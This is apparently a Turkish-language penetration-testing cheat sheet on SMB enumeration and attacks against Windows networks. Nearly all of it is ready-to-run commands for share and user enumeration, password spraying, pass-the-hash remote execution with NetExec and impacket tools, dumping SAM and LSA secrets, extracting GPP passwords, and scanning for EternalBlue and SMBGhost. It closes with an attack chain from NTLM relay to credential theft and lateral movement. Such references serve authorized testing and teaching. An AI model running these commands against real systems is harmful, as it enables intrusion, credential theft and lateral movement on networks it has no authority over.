SMB Enumeration & Saldırıları

SMB difficulty: orta

SMB (445/tcp, eski 139), Windows ağlarında dosya paylaşımı, named pipe ve uzaktan yönetim için merkezî servistir. Enumeration’dan relay hedefine, PtH ile komut çalıştırmaya kadar iç ağın omurgasıdır.

Ön koşullar

- Hedef IP / CIDR
- Opsiyonel: domain user:pass veya NTLM hash
- Araçlar: nxc (NetExec), smbclient, smbmap, enum4linux-ng, impacket, nmap

Kimliksiz enumeration

nmap -p445 --script smb-os-discovery,smb-protocols,smb-security-mode 10.10.10.5

nxc smb 10.10.10.0/24

nxc smb 10.10.10.5

smbclient -L //10.10.10.5 -N

smbmap -H 10.10.10.5 -u '' -p ''

smbmap -H 10.10.10.5 -u 'guest' -p ''

nxc smb 10.10.10.5 -u '' -p '' --shares

nxc smb 10.10.10.5 -u 'a' -p '' --shares          # guest varyantı

enum4linux-ng -A 10.10.10.5

nbtscan 10.10.10.0/24

nmblookup -A 10.10.10.5

Signing durumu relay için kritik:

nxc smb 10.10.10.0/24 --gen-relay-list relay_targets.txt

Kimlikli enumeration

nxc smb 10.10.10.5 -u user -p 'Pass123!' --shares

nxc smb 10.10.10.5 -u user -p 'Pass123!' --users

nxc smb 10.10.10.5 -u user -p 'Pass123!' --groups

nxc smb 10.10.10.5 -u user -p 'Pass123!' --pass-pol

nxc smb 10.10.10.5 -u user -p 'Pass123!' --rid-brute

nxc smb 10.10.10.5 -u user -p 'Pass123!' --sessions

nxc smb 10.10.10.5 -u user -p 'Pass123!' --loggedon-users

nxc smb 10.10.10.5 -u user -p 'Pass123!' --disks

nxc smb 10.10.10.0/24 -u user -p 'Pass123!' --shares

smbclient //10.10.10.5/Share -U 'hedef.local/user%Pass123!'

smbmap -H 10.10.10.5 -u user -p 'Pass123!' -r

smbmap -H 10.10.10.5 -u user -p 'Pass123!' -R Share --download

nxc smb 10.10.10.5 -u user -p pass --spider SHARE --pattern txt,xlsx,config,kdbx

Hash ile:

nxc smb 10.10.10.5 -u user -H aad3b435b51404eeaad3b435b51404ee:ntlmhash --shares

Yaygın saldırılar

1. SMB signing kapalı host bul — nxc smb <range> –gen-relay-list out.txt ; bunlar NTLM relay hedefidir.

2. Parola sprey — kilitlenme politikasını öğren, sonra tek parola / çok kullanıcı:

   nxc smb 10.10.10.5 -u user -p pass --pass-pol

   nxc smb 10.10.10.0/24 -u users.txt -p 'Sonbahar2025!' --continue-on-success

3. Pass-the-Hash / komut çalıştırma — local admin veya eşdeğeri hash/parola ile:

   nxc smb 10.10.10.5 -u admin -H <NTLM> -x "whoami /all"

   nxc smb 10.10.10.5 -u admin -H <NTLM> --sam

   nxc smb 10.10.10.5 -u admin -H <NTLM> --lsa

   psexec.py hedef/admin@10.10.10.5 -hashes :NTLM

   wmiexec.py hedef/admin@10.10.10.5 -hashes :NTLM

   smbexec.py hedef/admin@10.10.10.5 -hashes :NTLM

   atexec.py hedef/admin@10.10.10.5 "whoami"

4. Zafiyet taraması — MS17-010 (EternalBlue), SMBGhost (CVE-2020-0796) vb.:

   nmap -p445 --script smb-vuln-ms17-010 10.10.10.5

   nxc smb 10.10.10.0/24 -M ms17-010

   nxc smb 10.10.10.0/24 -M smbghost

Share içeriği ve GPP

smbclient //dc01/SYSVOL -U 'user%pass'

nxc smb dc01 -u user -p pass -M gpp_password

nxc smb dc01 -u user -p pass -M gpp_autologin

Komut üreteci

⚡

SMB · NetExec

embedded tool

Target / CIDRUserPassword

Generated commandcopy

nxc smb 10.10.10.0/24 -u user -p Pass123 --shares --users

SMB · NetExec

Saldırı zinciri

nxc smb CIDR → signing off + null shares
  → Responder/ntlmrelayx → admin on WORKSTATION
  → --sam / lsassy → local + domain cached
  → PtH → file server → bak.kdbx / scripts